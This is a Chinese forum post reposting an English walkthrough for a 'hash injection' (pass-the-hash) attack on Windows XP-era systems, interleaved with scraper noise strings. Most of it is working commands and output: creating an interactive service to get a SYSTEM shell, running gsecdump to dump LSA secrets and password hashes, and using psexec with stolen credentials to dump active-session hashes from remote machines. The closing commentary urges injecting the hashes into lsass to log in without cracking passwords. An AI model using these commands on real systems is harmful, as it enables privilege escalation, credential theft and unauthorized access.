HASH注入式攻击

admin

o get a DOS Prompt as NT system:
7 s3 p1 m" w* w9 }# U8 o3 }3 b
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
) x# ?5 ^, E5 M5 j( S( b. c
C:\>sc start shellcmdline
! n+ x" }( L. v# e( l/ g3 \[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
* ]# L6 {' _& x* }
C:\>sc delete shellcmdline
0 k# p5 n9 B/ P  w& \[SC] DeleteService SUCCESS

2 Y( J! ~: o: g7 u  J6 m- M------------

+ A1 |+ @$ X+ f0 q3 C0 ?Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
! l1 M  D  E5 c5 o& I4 a(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
' C# n' E/ r6 m: _$ M% o* x
C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
. l. ~' T/ G4 y3 x5 \
options:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
1 S; ~$ x% M, j-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
: {/ Y% F# e. }7 h' ]: N8 l-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

8 i3 A  d3 K3 N4 vPsExec v1.83 - Execute processes remotely
2 w9 q- B+ X6 b! s% J. Z; i( ~Copyright (C) 2001-2007 Mark Russinovich
2 R5 r2 v: G3 O6 KSysinternals - 链接标记[url]www.sysinternals.com[/url]

$ z5 V1 h' M; v7 G. m: W7 B2 aC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
/ t( y: M2 }( ~, B8 ~" z8 C
* b8 Q6 ^6 q  [0 m7 D1 ZThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
6 e9 ]4 g# V- S, @
. M4 n: m" r, A& V( [提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
9 U/ _6 |, ]0 W; o4 B" u( @原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
( \) E8 q0 G( j: Z6 `: g$ @
7 L( i7 s4 l3 ?0 c& t& y/ O我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。